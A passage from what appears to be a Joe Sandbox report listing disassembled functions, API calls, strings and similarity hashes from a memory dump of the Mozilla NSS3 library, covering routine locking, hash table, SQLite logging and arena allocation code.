PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D97
PR_Lock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DBA
PR_WaitCondVar.NSS3 ref: 6C924DD4
PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DEF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 08c1019fa972e3ebc2b3fd5a0b1982121dfe93f9321cf23a49c4d4a45e7f3797
Instruction ID: 902fcbbc3f9e5af99d9f9ca6aa8da2244dc69e84c526a6e359b16453df7e5ec7
Opcode Fuzzy Hash: 08c1019fa972e3ebc2b3fd5a0b1982121dfe93f9321cf23a49c4d4a45e7f3797
Instruction Fuzzy Hash: 98418CB5A14715CFCB00EF79D884199BBB8BF15318F09866DD8989BB14EB34E885CF81

Function 6C9A38E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C9A38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A38FF
EnterCriticalSection.KERNEL32(?,?,?,?,6C9A38A8), ref: 6C9A3918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A392C
PR_Unlock.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A3941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9A38A8), ref: 6C9A3952
free.MOZGLUE(?,?,?,?,?,?,6C9A38A8), ref: 6C9A395E
TlsGetValue.KERNEL32(00000000,?,?,6C9A38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3981
EnterCriticalSection.KERNEL32(?,?,?,?,6C9A38A8), ref: 6C9A3996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A39AA
PR_Unlock.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A39BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9A38A8), ref: 6C9A39D0
free.MOZGLUE(?,?,?,?,?,?,6C9A38A8), ref: 6C9A39DC

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: 01b57300abc1335b2077bf886ea4980d418488826262827316c823bb7c9a6329
Instruction ID: 30d40c161c2b6f98f0e5311fc38a02e974d3c94fe216ae3a90699a4a721deee1
Opcode Fuzzy Hash: 01b57300abc1335b2077bf886ea4980d418488826262827316c823bb7c9a6329
Instruction Fuzzy Hash: 34310AB5B04706CBDB04BFB9D448559BBF8BB16318F05892DD89593B00F734E49ACB82

Function 6C92F880 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001158E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FB69

Part of subcall function 6CA593E0: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59419

memcpy.VCRUNTIME140(?,?,?), ref: 6C92F8FC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92F93E
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FA44
memcpy.VCRUNTIME140(?,?,?), ref: 6C92FA66
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C92FB3A
memcpy.VCRUNTIME140(?,?,?), ref: 6C92FC01

Strings

database corruption, xrefs: 6C92FB5D
%s at line %d of [%.10s], xrefs: 6C92FB62
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92FB2A, 6C92FB47, 6C92FB53, 6C92FCAE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpy$_byteswap_ulong$_byteswap_ushortmemsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1835766639-598938438
Opcode ID: 849331a41f3db6035e1ade3954ac2a4d3b7711ea96021d326019ff2e1a359db1
Instruction ID: 7fd6d74ef469cdb66edf58dd30d38d437845f9ea785929a988bfaa286abb63f3
Opcode Fuzzy Hash: 849331a41f3db6035e1ade3954ac2a4d3b7711ea96021d326019ff2e1a359db1
Instruction Fuzzy Hash: FCD17971E102299FDB04CFA9D890AEEB7B5BF48318F148129E849B7704E739ED45CB90

Function 6CA59820 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(-00000001), ref: 6CA598B8
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59978
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA5999E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?), ref: 6CA59B68

Part of subcall function 6CA59C40: memcmp.VCRUNTIME140(?,00000000,6C92C52B), ref: 6CA59D53

EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 6CA59B12
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000118F8,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA59BBF
sqlite3_free.NSS3(00000000,?,?,?), ref: 6CA59BF5

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

Part of subcall function 6C92F880: memcpy.VCRUNTIME140(?,?,?), ref: 6C92F8FC
Part of subcall function 6C92F880: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92F93E

Strings

database corruption, xrefs: 6CA59BB3
%s at line %d of [%.10s], xrefs: 6CA59BB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA59A3C, 6CA59B9D, 6CA59BA9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulong_byteswap_ushort$memcmpmemcpysqlite3_freesqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4240395935-598938438
Opcode ID: 12703d245337b938f387248b47b03a8ec80010a7e2bb7022a76862e68a9bfbfc
Instruction ID: 6928468b5a5f5b1d7b0424962702d841415643293ad935b650541804ced14bb7
Opcode Fuzzy Hash: 12703d245337b938f387248b47b03a8ec80010a7e2bb7022a76862e68a9bfbfc
Instruction Fuzzy Hash: 2FC145B1E042118BDB04CF75C9846AAB7B5BF59314F488258E845AFB40E335ECE2C791

Function 6C9AE910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C9AE93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C9AE94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C9AE995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9AE9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C9AE9CA
PORT_Strdup_Util.NSS3(6CAE933E), ref: 6C9AEA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C9AEA28

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9AEA3C
free.MOZGLUE(?), ref: 6C9AEA69

Strings

http://, xrefs: 6C9AE935

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 7e194a0e134a2d42b1c52de7ac979f8423751c8b4321e456ca673462422d9baa
Instruction ID: dc3dc7110af75b04bc9de6a9db77ffef0e1acbd7323d8c9edc191980d613bbdb
Opcode Fuzzy Hash: 7e194a0e134a2d42b1c52de7ac979f8423751c8b4321e456ca673462422d9baa
Instruction Fuzzy Hash: 8D419E74D4474A4BEF604AE89C807FA77ADAB8735CF140021DC9497F41E222D5BBC2EA

Function 6CAB7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CAB7CE0

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7D36
PR_Realloc.NSS3(?,00000080), ref: 6CAB7D6D
PR_GetCurrentThread.NSS3 ref: 6CAB7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CAB7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7DD8
malloc.MOZGLUE(00000080), ref: 6CAB7DF8
PR_GetCurrentThread.NSS3 ref: 6CAB7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CAB7DF0
:%s:%d:0x%lx, xrefs: 6CAB7DB9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4e4086c7019d516849daa372e0ae8e90708bf667590589ba279341529354f9a4
Instruction ID: 5a6e80f2550178986ed8c35f2deb9911b949b1aec6abb52f392dc0c466af608f
Opcode Fuzzy Hash: 4e4086c7019d516849daa372e0ae8e90708bf667590589ba279341529354f9a4
Instruction Fuzzy Hash: C141B5B15002059FDB08CF29CD8096B37BAFF85358B29456CE819EBB51D771E885CBB1

Function 6CAB7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CAB7E46

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CAB7EAF
PR_ImportFile.NSS3(?), ref: 6CAB7ECF
PR_GetCurrentThread.NSS3 ref: 6CAB7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CAB7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CAB7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CAB7F15

Strings

%d:0x%lx, xrefs: 6CAB7EA9
NSPR_INHERIT_FDS, xrefs: 6CAB7E41

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 904efe944384e1710b9c64ab5bdb5973e5edccb378e3695ed5ba9da5845c2515
Instruction ID: f6796d19fdbab02f3ddc69142166c0f67ad4cb40eef69686af9381161cc67a27
Opcode Fuzzy Hash: 904efe944384e1710b9c64ab5bdb5973e5edccb378e3695ed5ba9da5845c2515
Instruction Fuzzy Hash: 5A3134709041168BEB00DB69D940AABB7BCFF05748F180565E846F3A11E7B1DDC8C7B2

Function 6C9EECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C9EDE64), ref: 6C9EED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9EED22

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PL_FreeArenaPool.NSS3(?), ref: 6C9EED4A
PL_FinishArenaPool.NSS3(?), ref: 6C9EED6B
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9EED38

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C9EED52
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9EED83
PL_FreeArenaPool.NSS3(?), ref: 6C9EED95
PL_FinishArenaPool.NSS3(?), ref: 6C9EED9D

Part of subcall function 6CA064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CA0127C,00000000,00000000,00000000), ref: 6CA0650E

Strings

security, xrefs: 6C9EED06

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: f7c7fb63ddc46869c9d9bc8aaf0e42a91686ff25c8a439f821f2b5a7c8e04d0e
Instruction ID: 324bbd5b4f8d338a807714e3069acd064a5fac4bb2a90397b0819de416d36b58
Opcode Fuzzy Hash: f7c7fb63ddc46869c9d9bc8aaf0e42a91686ff25c8a439f821f2b5a7c8e04d0e
Instruction Fuzzy Hash: D8118436A002046BE7019A24BC44BBB727CAF2924CF010938EC4462F41FB25E5CC8AE7

Function 6CAB0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C992357), ref: 6CAB0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C992357), ref: 6CAB0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6

Part of subcall function 6CAB09D0: PR_Now.NSS3 ref: 6CAB0A22
Part of subcall function 6CAB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CAB0A35
Part of subcall function 6CAB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CAB0A66
Part of subcall function 6CAB09D0: PR_GetCurrentThread.NSS3 ref: 6CAB0A70
Part of subcall function 6CAB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CAB0A9D
Part of subcall function 6CAB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CAB0AC8
Part of subcall function 6CAB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CAB0AE8
Part of subcall function 6CAB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CAB0B19
Part of subcall function 6CAB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0B48
Part of subcall function 6CAB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CAB0C76
Part of subcall function 6CAB09D0: PR_LogFlush.NSS3 ref: 6CAB0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA

Part of subcall function 6C99AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C99AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CAB0ED9, 6CAB0EE5, 6CAB0F06, 6CAB0F0B
Aborting, xrefs: 6CAB0EB3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: e8f416612882fc2a5b30b1f698bdeb83334957c2e5277cbc708608f92cbd6394
Instruction ID: ac0cf8ef790fb776d58baac46970602e8cf6848fadbc58066f21b5b270478ea9
Opcode Fuzzy Hash: e8f416612882fc2a5b30b1f698bdeb83334957c2e5277cbc708608f92cbd6394
Instruction Fuzzy Hash: 8DF028F59002087BEF103BA1EC49C8F3E3CDF46228F008024FD1912602EA35ED6996F2

Function 6CA14DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CA14DCB

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CA14DE1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CA14DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA14E59

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAD300C,00000000), ref: 6CA14EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CA14EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CA14F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA1521A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 6be0eac061865bdaa8a4087a8bd3d577e85679868d7d80d7ed16b112e64f91af
Instruction ID: 21d9a6da4ea96410de762dc6c2d2a436ef10d113681e880c6a7c95e135b1f931
Opcode Fuzzy Hash: 6be0eac061865bdaa8a4087a8bd3d577e85679868d7d80d7ed16b112e64f91af
